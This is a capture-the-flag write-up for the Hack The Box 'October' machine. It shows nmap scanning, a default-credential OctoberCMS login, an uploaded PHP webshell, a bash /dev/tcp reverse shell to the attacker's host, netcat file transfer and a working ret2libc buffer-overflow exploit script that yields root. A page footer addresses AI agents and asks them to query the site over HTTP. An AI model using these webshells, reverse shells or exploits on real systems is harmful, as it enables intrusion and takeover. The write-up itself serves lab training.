# October

<figure><img src="/files/KkJ8UHH2BRlPOOZQt2ad" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.16 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Wed Mar 29 16:36:41 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up (0.050s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Mar 29 16:37:07 2023 -- 1 IP address (1 host up) scanned in 26.53 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80 10.10.10.16 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Wed Mar 29 16:37:29 2023 as: nmap -sCV -p22,80 -Pn -oN targeted 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79b135b6d12512a30cb52e369c332628 (DSA)
|   2048 16086851d17b075a34660d4cd02556f5 (RSA)
|   256 e397a7922372bf1d098885b66c174e85 (ECDSA)
|_  256 8985909820bf035d357f4aa9e11b6531 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: October CMS - Vanilla
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 29 16:37:43 2023 -- 1 IP address (1 host up) scanned in 13.77 seconds
```

{% endcode %}

The web server is running *OctoberCMS*.

<figure><img src="/files/HsxUkTsPxMpDgdk9BPny" alt=""><figcaption></figcaption></figure>

## Exploitation

If we search on the internet for common [OctoberCMS vulnerabilities](https://www.exploit-db.com/exploits/41936), we'll find one which allows us to bypass PHP upload protection. There is a login page in `/backend`, which has `admin` as the default username and password.

<figure><img src="/files/IBobSZAoKx91xW7BTjdH" alt=""><figcaption></figcaption></figure>

Now, we'll have to create the `pwn.php5` webshell.

```php
<?php
        echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>
```

Then, upload it to `Media`.

<figure><img src="/files/wxEIDrk33hQgEvH2MNRH" alt=""><figcaption></figcaption></figure>

Once it is uploaded, we could run commands in the system.

> <http://10.10.10.16/storage/app/media/pwn.php5?cmd=whoami>

<figure><img src="/files/NVua4nikMS7kG96iWAvw" alt=""><figcaption></figcaption></figure>

Time to get a shell. First, set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Get a shell as `www-data` and we'll be able to grab the user flag.

> <http://10.10.10.16/storage/app/media/pwn.php5?cmd=bash> -c "bash -i >%26 /dev/tcp/10.10.14.5/4444 0>%261"

{% code overflow="wrap" %}

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.16 60984
bash: cannot set terminal process group (1297): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/cms/storage/app/media$ whoami
www-data
www-data@october:/var/www/html/cms/storage/app/media$ cat /home/harry/user.txt                      
b69a64fc485f67d3c0c003edda131804
```

{% endcode %}

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command on our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

If we check SUID binaries, we'll find one called `ovrflw`.

> find / -perm /4000 2>/dev/null

```
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw
```

The binary asks for an input string.

> /usr/local/bin/ovrflw

```
Syntax: /usr/local/bin/ovrflw <input string>
```

If we run the binary giving a bunch of `A` characters as an argument, it will crash. This means that it might be vulnerable to a buffer overflow.

> /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```
Segmentation fault (core dumped)
```

Let's transfer the file with *netcat* to our local machine for further inspection.

> nc -lvnp 5555 > ovrflw
>
> nc 10.10.14.5 5555 < /usr/local/bin/ovrflw

Now, run it with *gdb*.

> chmod +x ovrflw
>
> gdb ./ovrflw

{% code overflow="wrap" %}

```
GNU gdb (Debian 12.1-4+b1) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gef➤  
```

{% endcode %}

Note that I am using *gef*. The same way as before, if I run the script with a bunch of `A` characters, it will crash, and I'll be able to see all the registries filled with `41`.

> gef➤ r $(python -c "print('A'\*500)")

```
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xffffd4e0  →  "AAAAAAAAAAAAAAA"
$edx   : 0xffffd201  →  "AAAAAAAAAAAAAAA"
$esp   : 0xffffd090  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x80484d0  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x41414141 ("AAAA"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"    ← $esp
0xffffd094│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd098│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd09c│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd0a0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd0a4│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd0a8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd0ac│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ovrflw", stopped 0x41414141 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

The program only has the *NX* memory protection enabled.

{% hint style="info" %}
**Data Execution Prevention (DEP) or No-Execute (NX)** works with the processor to help prevent buffer overflow attacks by blocking code execution from memory that is marked as non-executable.
{% endhint %}

> gef➤ checksec

```
[+] checksec for '/home/alfa8sa/HTB/machines/october/ovrflw'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial
```

But, we can see that *ASLR* is enabled on the victim machine.

{% hint style="info" %}
**Address space layout randomization** **(ASLR)** is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.
{% endhint %}

> cat /proc/sys/kernel/randomize\_va\_space

```
2
```

The address of *libc* changes every time the binary gets executed.

> for i in $(seq 1 5); do ldd /usr/local/bin/ovrflw | grep libc | awk '{print $4}'; done

```
(0xb75ea000)
(0xb75b9000)
(0xb75fe000)
(0xb75f1000)
(0xb7645000)
```

As *ASLR* is enabled, and the *NX* memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a *Return to libc* attack.

{% hint style="info" %}
**Return to libc** is a tactic used for executing code that is not on the stack but in a sector of memory that is executable, for example in *libc*. The code used to break the program are functions within this library.
{% endhint %}

First, let's check at what point we start overwriting the EIP. Create a pattern with *gef*.

> gef➤ pattern create 1000

```
[+] Generating a pattern of 1000 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
[+] Saved as '$_gef0'
```

And execute the program giving the pattern as the third argument.

> gef➤ r aaaab...yaaj

```
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xffffd4e0  →  "aajwaajxaajyaaj"
$edx   : 0xffffd1f5  →  "aajwaajxaajyaaj"
$esp   : 0xffffce90  →  "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"
$ebp   : 0x62616163 ("caab"?)
$esi   : 0x80484d0  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x62616164 ("daab"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce90│+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"    ← $esp
0xffffce94│+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
0xffffce98│+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]"
0xffffce9c│+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
0xffffcea0│+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]"
0xffffcea4│+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
0xffffcea8│+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]"
0xffffceac│+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ovrflw", stopped 0x62616164 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

As we see, the EIP has the vale `daab`. With that value, we could see that the offset is 112.

> gef➤ pattern offset $eip

```
[+] Searching for '$eip'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search)
```

Now, as I have control of the EIP, I could fill it with **B** characters.

> gef➤ r $(python -c "print('A'\*112+'B'\*4+'C'\*8)")

```
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xffffd4e0  →  "AAABBBBCCCCCCCC"
$edx   : 0xffffd1f9  →  "AAABBBBCCCCCCCC"
$esp   : 0xffffd200  →  "CCCCCCCC"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x80484d0  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd200│+0x0000: "CCCCCCCC"   ← $esp
0xffffd204│+0x0004: "CCCC"
0xffffd208│+0x0008: 0xffffd200  →  "CCCCCCCC"
0xffffd20c│+0x000c: 0xffffd220  →  0xf7e1cff4  →  0x0021cd8c
0xffffd210│+0x0010: 0xf7e1cff4  →  0x0021cd8c
0xffffd214│+0x0014: 0x804847d  →  <main+0> push ebp
0xffffd218│+0x0018: 0x00000002
0xffffd21c│+0x001c: 0xffffd2b4  →  0xffffd449  →  "/home/alfa8sa/HTB/machines/october/ovrflw"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ovrflw", stopped 0x42424242 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

To exploit *Return to Libc*, and be able to spawn a shell as *root*, we'll need the `system` address, the `exit` address, the `/bin/bash` address and the `base_libc` address. First, we have to get the `base_libc` address from the victim machine. This address changes every time we execute the binary because *ASLR* is enabled on the system. But, as this is a *32 bits* system, we could pick a random one, and execute the final exploit multiple times, so when the `base_libc` address match, the root shell will appear. In this case is `0xb75a0000`.

> ldd /usr/local/bin/ovrflw

```
        linux-gate.so.1 =>  (0xb775a000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a0000)
        /lib/ld-linux.so.2 (0x80049000)
```

We can see that the offset of the `system` and `exit` functions are `0x00040310` and `0x00033260`.

> readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system@@| exit@@"

* **-s** display the **symbol table**.

```
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
```

Finally, we'll need the offset of the  `/bin/sh` function, which is `0x00162bac`.

> strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

* `-a` scan the **entire file**.
* `-t x` print the location of the string in **base 16**.

```
 162bac /bin/sh
```

Now, that I have the function's offset and the `base_lib` address, I can calculate the `system`, `exit` and `/bin/sh` addresses by adding the offset to the `base_lib` address.

The final payload will be the initial 512 `A` characters, the `system` address, the `exit` address and the `/bin/sh` address. The following script will calculate all the addresses, and print the final payload.

> nano /tmp/bof.py

```python
#!/usr/bin/python

from struct import pack

junk = "A" * 112

# ret2libc -> system_addr + exit_addr + bin_sh_addr

base_libc = 0xb7596000

system_addr_off = 0x00040310
exit_addr_off = 0x00033260
bin_sh_addr_off = 0x00162bac

system_addr = pack("<I", base_libc + system_addr_off)
exit_addr = pack("<I", base_libc + exit_addr_off)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_off)

payload = junk + system_addr + exit_addr + bin_sh_addr

print(payload)
```

Finally, if we make a loop of *1000* iterations, run the `ovrflw` binary, and running the python script as the argument of the binary, at some point, the `base_libc` addresses will match, and we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.

> for i in $(seq 1 1000); do /usr/local/bin/ovrflw $(python /tmp/bof.py); done

{% code overflow="wrap" %}

```
...
# whoami
root
# cat /root/root.txt
72d4937d6adb36b23e5336f4d58e5002
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/october.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
